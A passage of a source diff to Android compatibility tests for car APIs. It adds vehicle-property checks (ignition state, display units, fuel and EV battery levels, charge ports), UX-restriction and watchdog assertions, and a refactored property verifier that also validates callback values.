-                        .that(carPropertyConfig.getConfigArray().contains(
-                                carPropertyValue.getValue())).isTrue())
-                .build().verify(mCarPropertyManager);
+                Integer.class).setPossibleConfigArrayValues(
+                VEHICLE_GEARS).requirePropertyValueTobeInConfigArray().build().verify(
+                mCarPropertyManager);
     }
 
     @Test
@@ -531,6 +613,221 @@
                 Boolean.class).build().verify(mCarPropertyManager);
     }
 
+    @Test
+    public void testIgnitionStateIfSupported() {
+        VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.IGNITION_STATE,
+                CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                Integer.class).setCarPropertyValueVerifier(
+                (carPropertyConfig, carPropertyValue) -> {
+                    Integer ignitionState = (Integer) carPropertyValue.getValue();
+                    assertWithMessage(
+                            "IGNITION_STATE must be a defined ignition state: "
+                                    + ignitionState).that(
+                            ignitionState).isIn(ImmutableSet.of(
+                            /*VehicleIgnitionState.UNDEFINED=*/0,
+                            /*VehicleIgnitionState.LOCK=*/1,
+                            /*VehicleIgnitionState.OFF=*/2,
+                            /*VehicleIgnitionState.ACC=*/3,
+                            /*VehicleIgnitionState.ON=*/4,
+                            /*VehicleIgnitionState.START=*/5));
+                }).build().verify(mCarPropertyManager);
+    }
+
+    @Test
+    public void testDistanceDisplayUnitsIfSupported() {
+        VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.DISTANCE_DISPLAY_UNITS,
+                CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                Integer.class).setPossibleConfigArrayValues(
+                DISTANCE_DISPLAY_UNITS).requirePropertyValueTobeInConfigArray().build().verify(
+                mCarPropertyManager);
+    }
+
+    @Test
+    public void testFuelVolumeDisplayUnitsIfSupported() {
+        VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.FUEL_VOLUME_DISPLAY_UNITS,
+                CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                Integer.class).setPossibleConfigArrayValues(
+                VOLUME_DISPLAY_UNITS).requirePropertyValueTobeInConfigArray().build().verify(
+                mCarPropertyManager);
+    }
+
+    @Test
+    public void testTirePressureDisplayUnitsIfSupported() {
+        VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.TIRE_PRESSURE_DISPLAY_UNITS,
+                CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                Integer.class).setPossibleConfigArrayValues(
+                PRESSURE_DISPLAY_UNITS).requirePropertyValueTobeInConfigArray().build().verify(
+                mCarPropertyManager);
+    }
+
+    @Test
+    public void testEvBatteryDisplayUnitsIfSupported() {
+        VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.EV_BATTERY_DISPLAY_UNITS,
+                CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                Integer.class).setPossibleConfigArrayValues(
+                BATTERY_DISPLAY_UNITS).requirePropertyValueTobeInConfigArray().build().verify(
+                mCarPropertyManager);
+    }
+
+    @Test
+    public void testVehicleSpeedDisplayUnitsIfSupported() {
+        VehiclePropertyVerifier.newBuilder(/*VehiclePropertyIds.VEHICLE_SPEED_DISPLAY_UNITS=*/
+                289408516,
+                CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                Integer.class).setPossibleConfigArrayValues(
+                SPEED_DISPLAY_UNITS).requirePropertyValueTobeInConfigArray().build().verify(
+                mCarPropertyManager);
+    }
+
+    @Test
+    public void testFuelConsumptionUnitsDistanceOverTimeIfSupported() {
+        VehiclePropertyVerifier.newBuilder(
+                VehiclePropertyIds.FUEL_CONSUMPTION_UNITS_DISTANCE_OVER_VOLUME,
+                CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                Boolean.class).build().verify(mCarPropertyManager);
+    }
+
+    @Test
+    public void testFuelLevelIfSupported() {
+        VehiclePropertyVerifier.newBuilder(
+                VehiclePropertyIds.FUEL_LEVEL,
+                CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_CONTINUOUS,
+                Float.class).setCarPropertyValueVerifier(
+                (carPropertyConfig, carPropertyValue) -> {
+                    assertWithMessage(
+                            "FUEL_LEVEL Float value must be greater than or equal 0").that(
+                            (Float) carPropertyValue.getValue()).isAtLeast(0);
+
+                    if (mCarPropertyManager.getCarPropertyConfig(
+                            VehiclePropertyIds.INFO_FUEL_CAPACITY) == null) {
+                        return;
+                    }
+
+                    CarPropertyValue<?> infoFuelCapacityValue = mCarPropertyManager.getProperty(
+                            VehiclePropertyIds.INFO_FUEL_CAPACITY,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL);
+
+                    assertWithMessage(
+                            "FUEL_LEVEL Float value must not exceed INFO_FUEL_CAPACITY Float "
+                                    + "value").that(
+                            (Float) carPropertyValue.getValue()).isAtMost(
+                            (Float) infoFuelCapacityValue.getValue());
+                }).build().verify(mCarPropertyManager);
+    }
+
+    @Test
+    public void testEvBatteryLevelIfSupported() {
+        VehiclePropertyVerifier.newBuilder(
+                VehiclePropertyIds.EV_BATTERY_LEVEL,
+                CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_CONTINUOUS,
+                Float.class).setCarPropertyValueVerifier(
+                (carPropertyConfig, carPropertyValue) -> {
+                    assertWithMessage(
+                            "EV_BATTERY_LEVEL Float value must be greater than or equal 0").that(
+                            (Float) carPropertyValue.getValue()).isAtLeast(0);
+
+                    if (mCarPropertyManager.getCarPropertyConfig(
+                            VehiclePropertyIds.INFO_EV_BATTERY_CAPACITY) == null) {
+                        return;
+                    }
+
+                    CarPropertyValue<?> infoEvBatteryCapacityValue =
+                            mCarPropertyManager.getProperty(
+                                    VehiclePropertyIds.INFO_EV_BATTERY_CAPACITY,
+                                    VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL);
+
+                    assertWithMessage(
+                            "EV_BATTERY_LEVEL Float value must not exceed "
+                                    + "INFO_EV_BATTERY_CAPACITY Float "
+                                    + "value").that(
+                            (Float) carPropertyValue.getValue()).isAtMost(
+                            (Float) infoEvBatteryCapacityValue.getValue());
+                }).build().verify(mCarPropertyManager);
+    }
+
+    @Test
+    public void testEvBatteryInstantaneousChargeRateIfSupported() {
+        VehiclePropertyVerifier.newBuilder(
+                VehiclePropertyIds.EV_BATTERY_INSTANTANEOUS_CHARGE_RATE,
+                CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_CONTINUOUS,
+                Float.class).build().verify(mCarPropertyManager);
+    }
+
+    @Test
+    public void testRangeRemainingIfSupported() {
+        VehiclePropertyVerifier.newBuilder(
+                VehiclePropertyIds.RANGE_REMAINING,
+                CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_CONTINUOUS,
+                Float.class).setCarPropertyValueVerifier(
+                (carPropertyConfig, carPropertyValue) -> {
+                    assertWithMessage(
+                            "RANGE_REMAINING Float value must be greater than or equal 0").that(
+                            (Float) carPropertyValue.getValue()).isAtLeast(0);
+                }).build().verify(mCarPropertyManager);
+    }
+
+    @Test
+    public void testFuelLevelLowIfSupported() {
+        VehiclePropertyVerifier.newBuilder(
+                VehiclePropertyIds.FUEL_LEVEL_LOW,
+                CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                Boolean.class).build().verify(mCarPropertyManager);
+    }
+
+    @Test
+    public void testFuelDoorOpenIfSupported() {
+        VehiclePropertyVerifier.newBuilder(
+                VehiclePropertyIds.FUEL_DOOR_OPEN,
+                CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                Boolean.class).build().verify(mCarPropertyManager);
+    }
+
+    @Test
+    public void testEvChargePortOpenIfSupported() {
+        VehiclePropertyVerifier.newBuilder(
+                VehiclePropertyIds.EV_CHARGE_PORT_OPEN,
+                CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                Boolean.class).build().verify(mCarPropertyManager);
+    }
+
+    @Test
+    public void testEvChargePortConnectedIfSupported() {
+        VehiclePropertyVerifier.newBuilder(
+                VehiclePropertyIds.EV_CHARGE_PORT_CONNECTED,
+                CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                Boolean.class).build().verify(mCarPropertyManager);
+    }
+
     @SuppressWarnings("unchecked")
     @Test
     public void testGetProperty() {
@@ -737,7 +1034,7 @@
 
         // Ignores the test if sampleRates for properties are too low.
         Assume.assumeTrue("The SampleRates for properties are too low, "
-                        + "skip testUnregisterWithPropertyId test", eventCounter != 0);
+                + "skip testUnregisterWithPropertyId test", eventCounter != 0);
         CarPropertyEventCounter speedAndWheelTicksListener = new CarPropertyEventCounter();
 
         // CarService will register them to the maxSampleRate in CarPropertyConfig
@@ -768,7 +1065,8 @@
         int wheelTickEventCountAfterSecondCountDown = speedAndWheelTicksListener.receivedEvent(
                 VehiclePropertyIds.WHEEL_TICK);
 
-        assertThat(speedEventCountAfterFirstCountDown).isEqualTo(speedEventCountAfterSecondCountDown);
+        assertThat(speedEventCountAfterFirstCountDown).isEqualTo(
+                speedEventCountAfterSecondCountDown);
         assertThat(wheelTickEventCountAfterSecondCountDown)
                 .isGreaterThan(wheelTickEventCountAfterFirstCountDown);
     }
diff --git a/tests/tests/car/src/android/car/cts/CarUxRestrictionsManagerTest.java b/tests/tests/car/src/android/car/cts/CarUxRestrictionsManagerTest.java
index 8261a14..ee9d9ab 100644
--- a/tests/tests/car/src/android/car/cts/CarUxRestrictionsManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarUxRestrictionsManagerTest.java
@@ -52,8 +52,8 @@
     @Test
     public void testCarUxRestrictionsBuilder() {
         int maxContentDepth = 1;
-        int maxCumulativeContentItems = 1;
-        int maxStringLength = 1;
+        int maxCumulativeContentItems = 2;
+        int maxStringLength = 3;
         CarUxRestrictions.Builder builder = new CarUxRestrictions.Builder(
                 true, CarUxRestrictions.UX_RESTRICTIONS_FULLY_RESTRICTED, 0L);
         builder.setMaxContentDepth(maxContentDepth);
@@ -76,6 +76,33 @@
     }
 
     @Test
+    public void testCarUxRestrictions_CopyConstructor() {
+        int maxContentDepth = 1;
+        int maxCumulativeContentItems = 2;
+        int maxStringLength = 3;
+        CarUxRestrictions.Builder builder = new CarUxRestrictions.Builder(
+                true, CarUxRestrictions.UX_RESTRICTIONS_FULLY_RESTRICTED, 1L);
+        builder.setMaxContentDepth(maxContentDepth);
+        builder.setMaxCumulativeContentItems(maxCumulativeContentItems);
+        builder.setMaxStringLength(maxStringLength);
+
+        CarUxRestrictions restrictions = builder.build();
+        CarUxRestrictions copyOfRestrictions = new CarUxRestrictions(restrictions);
+
+        assertTrue(copyOfRestrictions.toString(),
+                copyOfRestrictions.isRequiresDistractionOptimization());
+        assertEquals(copyOfRestrictions.toString(),
+                copyOfRestrictions.getActiveRestrictions(),
+                CarUxRestrictions.UX_RESTRICTIONS_FULLY_RESTRICTED);
+        assertEquals(copyOfRestrictions.toString(),
+                copyOfRestrictions.getMaxContentDepth(), maxContentDepth);
+        assertEquals(copyOfRestrictions.toString(),
+                copyOfRestrictions.getMaxCumulativeContentItems(), maxCumulativeContentItems);
+        assertEquals(copyOfRestrictions.toString(),
+                copyOfRestrictions.getMaxRestrictedStringLength(), maxStringLength);
+    }
+
+    @Test
     public void testCarUxRestrictions_isSameRestrictions() {
         CarUxRestrictions.Builder oneBuilder = new CarUxRestrictions.Builder(
                 true, CarUxRestrictions.UX_RESTRICTIONS_FULLY_RESTRICTED, 0L);
diff --git a/tests/tests/car/src/android/car/cts/CarWatchdogManagerTest.java b/tests/tests/car/src/android/car/cts/CarWatchdogManagerTest.java
index c519f24..3cc15ed 100644
--- a/tests/tests/car/src/android/car/cts/CarWatchdogManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarWatchdogManagerTest.java
@@ -18,7 +18,6 @@
 
 import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
 
-import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
 import static org.testng.Assert.assertThrows;
@@ -26,8 +25,12 @@
 import android.car.Car;
 import android.car.watchdog.CarWatchdogManager;
 import android.car.watchdog.IoOveruseStats;
+import android.car.watchdog.PerStateBytes;
 import android.car.watchdog.ResourceOveruseStats;
 import android.content.Context;
+import android.os.Process;
+import android.os.UserHandle;
+import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 
 import androidx.test.platform.app.InstrumentationRegistry;
@@ -43,7 +46,7 @@
 import java.io.IOException;
 import java.io.InterruptedIOException;
 import java.util.concurrent.atomic.AtomicReference;
-
+@AppModeFull(reason = "Instant Apps cannot get car related permissions")
 public class CarWatchdogManagerTest extends CarApiTestBase {
     private static final String TAG = CarWatchdogManagerTest.class.getSimpleName();
     private static final String CAR_WATCHDOG_SERVICE_NAME
@@ -99,9 +102,27 @@
         runShellCommand("dumpsys %s --stop_perf", CAR_WATCHDOG_SERVICE_NAME);
 
         IoOveruseStats ioOveruseStats = stats.get().getIoOveruseStats();
+        PerStateBytes remainingWriteBytes = ioOveruseStats.getRemainingWriteBytes();
         assertWithMessage("Package name").that(stats.get().getPackageName()).isEqualTo(packageName);
         assertWithMessage("Total bytes written to disk").that(
                 ioOveruseStats.getTotalBytesWritten()).isAtLeast(FIVE_HUNDRED_KILOBYTES);
+        assertWithMessage("Remaining write bytes").that(remainingWriteBytes).isNotNull();
+        assertWithMessage("Remaining foreground write bytes").that(
+                remainingWriteBytes.getForegroundModeBytes()).isGreaterThan(0);
+        assertWithMessage("Remaining background write bytes").that(
+                remainingWriteBytes.getBackgroundModeBytes()).isGreaterThan(0);
+        assertWithMessage("Remaining garage mode write bytes").that(
+                remainingWriteBytes.getGarageModeBytes()).isGreaterThan(0);
+        assertWithMessage("Duration in seconds").that(
+                ioOveruseStats.getDurationInSeconds()).isGreaterThan(0);
+        assertWithMessage("Start time").that(ioOveruseStats.getStartTime()).isGreaterThan(0);
+        assertWithMessage("Total overuse").that(ioOveruseStats.getTotalOveruses()).isEqualTo(0);
+        assertWithMessage("Total times killed").that(
+                ioOveruseStats.getTotalTimesKilled()).isEqualTo(0);
+        assertWithMessage("Killable on overuse").that(
+                ioOveruseStats.isKillableOnOveruse()).isTrue();
+        assertWithMessage("User handle").that(stats.get().getUserHandle()).isEqualTo(
+                UserHandle.getUserHandleForUid(Process.myUid()));
     }
 
     /**
diff --git a/tests/tests/car/src/android/car/cts/VehiclePropertyIdsTest.java b/tests/tests/car/src/android/car/cts/VehiclePropertyIdsTest.java
index 49fa9dd..4d00ea9 100644
--- a/tests/tests/car/src/android/car/cts/VehiclePropertyIdsTest.java
+++ b/tests/tests/car/src/android/car/cts/VehiclePropertyIdsTest.java
@@ -18,7 +18,6 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
-import android.car.VehicleGear;
 import android.car.VehiclePropertyIds;
 import android.platform.test.annotations.RequiresDevice;
 import android.test.suitebuilder.annotation.SmallTest;
@@ -39,6 +38,22 @@
 public class VehiclePropertyIdsTest {
     private static final String TAG = "VehiclePropertyIdsTest";
 
+    // Get all enums from the class.
+    private static List<Integer> getIntegersFromDataEnums() {
+        Field[] fields = VehiclePropertyIds.class.getDeclaredFields();
+        List<Integer> integerList = new ArrayList<>(5);
+        for (Field f : fields) {
+            if (f.getType() == int.class) {
+                try {
+                    integerList.add(f.getInt(VehiclePropertyIds.class));
+                } catch (IllegalAccessException | RuntimeException e) {
+                    Log.w(TAG, "Failed to get value");
+                }
+            }
+        }
+        return integerList;
+    }
+
     /**
      * Test for {@link VehiclePropertyIds#toString()}
      */
@@ -316,26 +331,10 @@
      */
     @Test
     public void testAllPropertiesAreMappedInToString() {
-        List<Integer> systemProperties = getIntegersFromDataEnums(
-                new VehiclePropertyIds().getClass());
+        List<Integer> systemProperties = getIntegersFromDataEnums();
         for (int propertyId : systemProperties) {
             String propertyString = VehiclePropertyIds.toString(propertyId);
             assertThat(propertyString.startsWith("0x")).isFalse();
         }
     }
-    // Get all enums from the class.
-    private static List<Integer> getIntegersFromDataEnums(Class clazz) {
-        Field[] fields = clazz.getDeclaredFields();
-        List<Integer> integerList = new ArrayList<>(5);
-        for (Field f : fields) {
-            if (f.getType() == int.class) {
-                try {
-                    integerList.add(f.getInt(clazz));
-                } catch (IllegalAccessException | RuntimeException e) {
-                    Log.w(TAG, "Failed to get value");
-                }
-            }
-        }
-        return integerList;
-    }
 }
diff --git a/tests/tests/car/src/android/car/cts/utils/VehiclePropertyVerifier.java b/tests/tests/car/src/android/car/cts/utils/VehiclePropertyVerifier.java
index cb713d4..743c460 100644
--- a/tests/tests/car/src/android/car/cts/utils/VehiclePropertyVerifier.java
+++ b/tests/tests/car/src/android/car/cts/utils/VehiclePropertyVerifier.java
@@ -29,10 +29,18 @@
 
 import com.google.common.collect.ImmutableSet;
 
+import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.List;
 import java.util.Optional;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
 
 public class VehiclePropertyVerifier<T> {
+    private final static String CAR_PROPERTY_VALUE_SOURCE_GETTER = "Getter";
+    private final static String CAR_PROPERTY_VALUE_SOURCE_CALLBACK = "Callback";
+
     private final int mPropertyId;
     private final String mPropertyName;
     private final int mAccess;
@@ -42,11 +50,17 @@
     private final boolean mRequiredProperty;
     private final Optional<ConfigArrayVerifier> mConfigArrayVerifier;
     private final Optional<CarPropertyValueVerifier> mCarPropertyValueVerifier;
+    private final Optional<AreaIdsVerifier> mAreaIdsVerifier;
+    private final ImmutableSet<Integer> mPossibleConfigArrayValues;
+    private final boolean mRequirePropertyValueToBeInConfigArray;
 
     private VehiclePropertyVerifier(int propertyId, int access, int areaType, int changeMode,
             Class<T> propertyType, boolean requiredProperty,
             Optional<ConfigArrayVerifier> configArrayVerifier,
-            Optional<CarPropertyValueVerifier> carPropertyValueVerifier) {
+            Optional<CarPropertyValueVerifier> carPropertyValueVerifier,
+            Optional<AreaIdsVerifier> areaIdsVerifier,
+            ImmutableSet<Integer> possibleConfigArrayValues,
+            boolean requirePropertyValueToBeInConfigArray) {
         mPropertyId = propertyId;
         mPropertyName = VehiclePropertyIds.toString(propertyId);
         mAccess = access;
@@ -56,6 +70,9 @@
         mRequiredProperty = requiredProperty;
         mConfigArrayVerifier = configArrayVerifier;
         mCarPropertyValueVerifier = carPropertyValueVerifier;
+        mAreaIdsVerifier = areaIdsVerifier;
+        mPossibleConfigArrayValues = possibleConfigArrayValues;
+        mRequirePropertyValueToBeInConfigArray = requirePropertyValueToBeInConfigArray;
     }
 
     public static <T> Builder<T> newBuilder(int propertyId, int access, int areaType,
@@ -122,16 +139,70 @@
         }
 
         verifyCarPropertyConfig(carPropertyConfig);
-        verifyCarPropertyValue(carPropertyConfig, carPropertyManager);
+        verifyCarPropertyValueGetter(carPropertyConfig, carPropertyManager);
+        verifyCarPropertyValueCallback(carPropertyConfig, carPropertyManager);
+    }
+
+    private void verifyCarPropertyValueCallback(CarPropertyConfig<?> carPropertyConfig,
+            CarPropertyManager carPropertyManager) {
+        if (mChangeMode == CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_STATIC
+                || mChangeMode == CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE) {
+            CarPropertyValueCallback carPropertyValueCallback =
+                    new CarPropertyValueCallback(mPropertyName,
+                            carPropertyConfig.getAreaIds().length);
+            assertWithMessage("Failed to register callback for " + mPropertyName).that(
+                    carPropertyManager.registerCallback(carPropertyValueCallback, mPropertyId,
+                            CarPropertyManager.SENSOR_RATE_ONCHANGE)).isTrue();
+            List<CarPropertyValue<?>> carPropertyValues =
+                    carPropertyValueCallback.getCarPropertyValues();
+            carPropertyManager.unregisterCallback(carPropertyValueCallback, mPropertyId);
+
+            for (CarPropertyValue<?> carPropertyValue : carPropertyValues) {
+                verifyCarPropertyValue(carPropertyConfig, carPropertyValue,
+                        carPropertyValue.getAreaId(), CAR_PROPERTY_VALUE_SOURCE_CALLBACK);
+            }
+            assertWithMessage(mPropertyName
+                    + " callback values did not cover all the property's area IDs").that(
+                    carPropertyValues.stream().map(CarPropertyValue::getAreaId).collect(
+                            Collectors.toList())
+            ).containsExactlyElementsIn(
+                    Arrays.stream(carPropertyConfig.getAreaIds()).boxed().collect(
+                            Collectors.toList()));
+
+        } else if (mChangeMode == CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_CONTINUOUS) {
+            CarPropertyValueCallback carPropertyValueCallback =
+                    new CarPropertyValueCallback(mPropertyName, 1);
+            assertWithMessage("Failed to register callback for " + mPropertyName).that(
+                    carPropertyManager.registerCallback(carPropertyValueCallback, mPropertyId,
+                            CarPropertyManager.SENSOR_RATE_FASTEST)).isTrue();
+            List<CarPropertyValue<?>> carPropertyValues =
+                    carPropertyValueCallback.getCarPropertyValues();
+            carPropertyManager.unregisterCallback(carPropertyValueCallback, mPropertyId);
+
+            for (CarPropertyValue<?> carPropertyValue : carPropertyValues) {
+                verifyCarPropertyValue(carPropertyConfig, carPropertyValue,
+                        carPropertyValue.getAreaId(), CAR_PROPERTY_VALUE_SOURCE_CALLBACK);
+            }
+        }
     }
 
     private void verifyCarPropertyConfig(CarPropertyConfig<?> carPropertyConfig) {
         assertWithMessage(mPropertyName + " CarPropertyConfig must have correct property ID")
                 .that(carPropertyConfig.getPropertyId())
                 .isEqualTo(mPropertyId);
-        assertWithMessage(mPropertyName + " must be " + accessToString(mAccess))
-                .that(carPropertyConfig.getAccess())
-                .isEqualTo(mAccess);
+        if (mAccess == CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE) {
+            assertWithMessage(mPropertyName + " must be " + accessToString(
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ) + ", " + accessToString(
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_WRITE) + ", or " + accessToString(
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE))
+                    .that(carPropertyConfig.getAccess())
+                    .isIn(ImmutableSet.of(CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_WRITE,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE));
+        } else {
+            assertWithMessage(mPropertyName + " must be " + accessToString(mAccess))
+                    .that(carPropertyConfig.getAccess()).isEqualTo(mAccess);
+        }
         assertWithMessage(mPropertyName + " must be " + areaTypeToString(mAreaType))
                 .that(carPropertyConfig.getAreaType())
                 .isEqualTo(mAreaType);
@@ -141,7 +212,9 @@
         assertWithMessage(mPropertyName + " must be " + mPropertyType + " type property")
                 .that(carPropertyConfig.getPropertyType()).isEqualTo(mPropertyType);
 
-        if (mAreaType == VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL) {
+        if (mAreaIdsVerifier.isPresent()) {
+            mAreaIdsVerifier.get().verify(carPropertyConfig.getAreaIds());
+        } else if (mAreaType == VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL) {
             assertWithMessage(
                     mPropertyName + "'s AreaIds must contain a single 0 since it is "
                             + areaTypeToString(mAreaType))
@@ -154,9 +227,24 @@
             verifyNonContinuousCarPropertyConfig(carPropertyConfig);
         }
 
-        if (mConfigArrayVerifier.isPresent()) {
-            mConfigArrayVerifier.get().verify(carPropertyConfig.getConfigArray());
-        } else {
+        if (!mPossibleConfigArrayValues.isEmpty()) {
+            assertWithMessage(
+                    mPropertyName + " configArray must specify supported values")
+                    .that(carPropertyConfig.getConfigArray().size())
+                    .isGreaterThan(0);
+            for (Integer supportedValue : carPropertyConfig.getConfigArray()) {
+                assertWithMessage(
+                        mPropertyName + " configArray value must be a defined "
+                                + "value: "
+                                + supportedValue).that(
+                        supportedValue).isIn(mPossibleConfigArrayValues);
+            }
+        }
+
+        mConfigArrayVerifier.ifPresent(configArrayVerifier -> configArrayVerifier.verify(
+                carPropertyConfig.getConfigArray()));
+
+        if (mPossibleConfigArrayValues.isEmpty() && !mConfigArrayVerifier.isPresent()) {
             assertWithMessage(mPropertyName + " configArray is undefined, so it must be empty")
                     .that(carPropertyConfig.getConfigArray().size()).isEqualTo(0);
         }
@@ -186,43 +274,63 @@
                 .that(carPropertyConfig.getMinSampleRate()).isEqualTo(0);
     }
 
-    private void verifyCarPropertyValue(CarPropertyConfig<?> carPropertyConfig,
+    private void verifyCarPropertyValueGetter(CarPropertyConfig<?> carPropertyConfig,
             CarPropertyManager carPropertyManager) {
         for (int areaId : carPropertyConfig.getAreaIds()) {
             CarPropertyValue<?> carPropertyValue =
                     carPropertyManager.getProperty(
                             mPropertyId, areaId);
-            long afterElapsedTimestampNanos = SystemClock.elapsedRealtimeNanos();
-            assertWithMessage(
-                    mPropertyName + " - areaId: " + areaId + " value must have correct property ID")
-                    .that(carPropertyValue.getPropertyId()).isEqualTo(mPropertyId);
-            assertWithMessage(
-                    mPropertyName + " - areaId: " + areaId + " value must have correct area id: "
-                            + areaId)
-                    .that(carPropertyValue.getAreaId())
-                    .isEqualTo(areaId);
-            assertWithMessage(
-                    mPropertyName + " - areaId: " + areaId + " value's status must be valid")
-                    .that(carPropertyValue.getStatus()).isIn(
-                    ImmutableSet.of(CarPropertyValue.STATUS_AVAILABLE,
-                            CarPropertyValue.STATUS_UNAVAILABLE, CarPropertyValue.STATUS_ERROR));
-            assertWithMessage(mPropertyName + " - areaId: " + areaId +
-                    " timestamp must use the SystemClock.elapsedRealtimeNanos() time base")
-                    .that(carPropertyValue.getTimestamp()).isAtLeast(0);
-            assertWithMessage(mPropertyName + " - areaId: " + areaId +
-                    " timestamp must use the SystemClock.elapsedRealtimeNanos() time base")
-                    .that(carPropertyValue.getTimestamp()).isLessThan(afterElapsedTimestampNanos);
-            assertWithMessage(
-                    mPropertyName + " - areaId: " + areaId + " must return " + mPropertyType
-                            + " type value")
-                    .that(carPropertyValue.getValue().getClass()).isEqualTo(mPropertyType);
 
-            mCarPropertyValueVerifier.ifPresent(
-                    propertyValueVerifier -> propertyValueVerifier.verify(carPropertyConfig,
-                            carPropertyValue));
+            verifyCarPropertyValue(carPropertyConfig, carPropertyValue, areaId,
+                    CAR_PROPERTY_VALUE_SOURCE_GETTER);
         }
     }
 
+    private void verifyCarPropertyValue(CarPropertyConfig<?> carPropertyConfig,
+            CarPropertyValue<?> carPropertyValue, int areaId, String source) {
+        assertWithMessage(
+                mPropertyName + " - areaId: " + areaId + " - source: " + source
+                        + " value must have correct property ID")
+                .that(carPropertyValue.getPropertyId()).isEqualTo(mPropertyId);
+        assertWithMessage(
+                mPropertyName + " - areaId: " + areaId + " - source: " + source
+                        + " value must have correct area id: "
+                        + areaId)
+                .that(carPropertyValue.getAreaId())
+                .isEqualTo(areaId);
+        assertWithMessage(
+                mPropertyName + " - areaId: " + areaId + " - source: " + source
+                        + " value's status must be valid")
+                .that(carPropertyValue.getStatus()).isIn(
+                ImmutableSet.of(CarPropertyValue.STATUS_AVAILABLE,
+                        CarPropertyValue.STATUS_UNAVAILABLE, CarPropertyValue.STATUS_ERROR));
+        assertWithMessage(mPropertyName + " - areaId: " + areaId +
+                " - source: " + source
+                + " timestamp must use the SystemClock.elapsedRealtimeNanos() time base")
+                .that(carPropertyValue.getTimestamp()).isAtLeast(0);
+        assertWithMessage(mPropertyName + " - areaId: " + areaId +
+                " - source: " + source
+                + " timestamp must use the SystemClock.elapsedRealtimeNanos() time base")
